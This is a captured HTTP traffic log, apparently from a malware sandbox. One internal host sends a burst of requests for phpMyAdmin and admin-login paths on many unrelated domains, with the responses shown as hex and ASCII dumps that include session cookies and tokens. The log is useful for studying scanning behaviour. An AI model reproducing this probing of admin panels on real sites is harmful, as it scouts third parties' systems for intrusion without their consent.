Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	1353	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: pma_lang_https=en; expires=Fri, 19-Jan-2024 02:13:34 GMT; Max-Age=2592000; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: phpMyAdmin_https=9rb2u8qp07ial64u5p3087bvu5; path=/phpmyadmin/; secure; HttpOnly X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
2023-12-20 02:13:34 UTC	615	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 33 34 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:34 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 33 63 64 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3cdf<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 26 61 6d 70 3b 6c 61 6e 67 3d 65 6e 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2&lang=en"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a Data Ascii: /jquery/jquery.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resiz
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 Data Ascii: ?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 61 72 61 6d 73 2e 73 65 74 41 6c 6c 28 7b 63 6f 6d 6d 6f 6e 5f 71 75 65 72 79 3a 22 3f 6c 61 6e 67 3d 65 6e 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 34 30 33 36 33 38 36 33 34 37 35 31 35 62 37 39 35 38 36 36 33 61 34 36 32 33 32 31 33 62 32 64 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a Data Ascii: arams.setAll({common_query:"?lang=en",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"4036386347515b7958663a4623213b2d",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 61 67 65 73 2e 70 68 70 27 2c 20 30 29 0a 20 20 2e 61 64 64 28 27 63 6f 6e 66 69 67 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c Data Ascii: ages.php', 0) .add('config.js', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js',
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 Data Ascii: ('drag_drop_import.js'); AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_head
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 34 30 33 36 33 38 36 33 34 37 35 31 35 62 37 39 35 38 36 36 33 61 34 36 32 33 32 31 33 62 32 64 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 64 3d 22 73 65 6c 2d 6c 61 6e 67 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 Data Ascii: ame="token" value="4036386347515b7958663a4623213b2d"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" id="sel-lang"> <option value="
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 64 61 22 3e 0a 20 20 20 20 20 20 20 20 44 61 6e 73 6b 20 2d 20 44 61 6e 69 73 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6c 22 3e 0a 20 20 20 20 20 20 20 20 4e 65 64 65 72 6c 61 6e 64 73 20 2d 20 44 75 74 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 65 6e 22 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 65 64 3d 22 73 65 6c 65 Data Ascii: ch </option> <option value="da"> Dansk - Danish </option> <option value="nl"> Nederlands - Dutch </option> <option value="en" selected="sele

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.4	64044	15.197.192.55	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	379	OUT	GET /pma/ HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Q2MaIytwc48p3MOh37PNQNLvgzcF+rZ94fJ3lodSL/7DPisuWpSaqzO/xImix2BwUNo4fQF6B/rHMDs8BCf5Nw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:34 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.4	64043	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	181	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	456	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 59 Location: https://www.geoffreynolds.com.au/PhpMyAdmin/ Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:34 GMT X-Served-By: cache-pdk-kfty2130076-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038414.399179,VS0,VE20 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:34 UTC	59	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 50 68 70 4d 79 41 64 6d 69 6e 2f Data Ascii: Redirecting to https://www.geoffreynolds.com.au/PhpMyAdmin/

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.4	64077	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	326	OUT	GET /admin HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_hB1shm2t2rO8Pqt2JvP6GV6ApkjBbGwIgwHhBMxoRLGXwoLAragFZxz3GwunlxCs0u1/R1rVJQkSlKUEEEbNYg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:34 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.4	64076	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	319	OUT	GET /admin HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_AYAXc1Bs0efieIDgB5kpgOvxAuu9xbwhAtZ0LBKU1WUaB9IsrVgwRmCOviQPt+Yuvx0RdpWV3j4v5cwIxzX1vQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:34 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.4	64163	23.227.38.74	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	189	OUT	GET /admin/auth/login HTTP/1.1 Host: eco-child.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	1113	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 Vary: Accept-Encoding Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 7475083 X-ShardId: 60 Cache-Control: no-store Content-Language: en X-Shopify-Login-Required: true Strict-Transport-Security: max-age=7889238 Set-Cookie: _secure_admin_session_id=725c2d775691fb9a09f9ef3a10264211; path=/admin; expires=Wed, 20 Mar 2024 02:13:34 GMT; secure; HttpOnly; SameSite=None Set-Cookie: _secure_admin_session_id_csrf=725c2d775691fb9a09f9ef3a10264211; path=/admin; expires=Wed, 20 Mar 2024 02:13:34 GMT; secure; HttpOnly; SameSite=Lax Set-Cookie: _master_udr=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaEpJaWt6WmpoaE1EZzRaUzA1Wm1JekxUUm1ZV1F0WWpjek9TMHhNekUyTnpnME1USmhNV0VHT2daRlJnPT0iLCJleHAiOiIyMDI1LTEyLTIwVDAyOjEzOjM0LjQ4OVoiLCJwdXIiOiJjb29raWUuX21hc3Rlcl91ZHIifX0%3D--79df189b650679b5f5ee92d94bbab12344c98c37; path=/admin; expires=Sat, 20 Dec 2025 02:13:34 GMT; secure; HttpOnly; SameSite=Lax
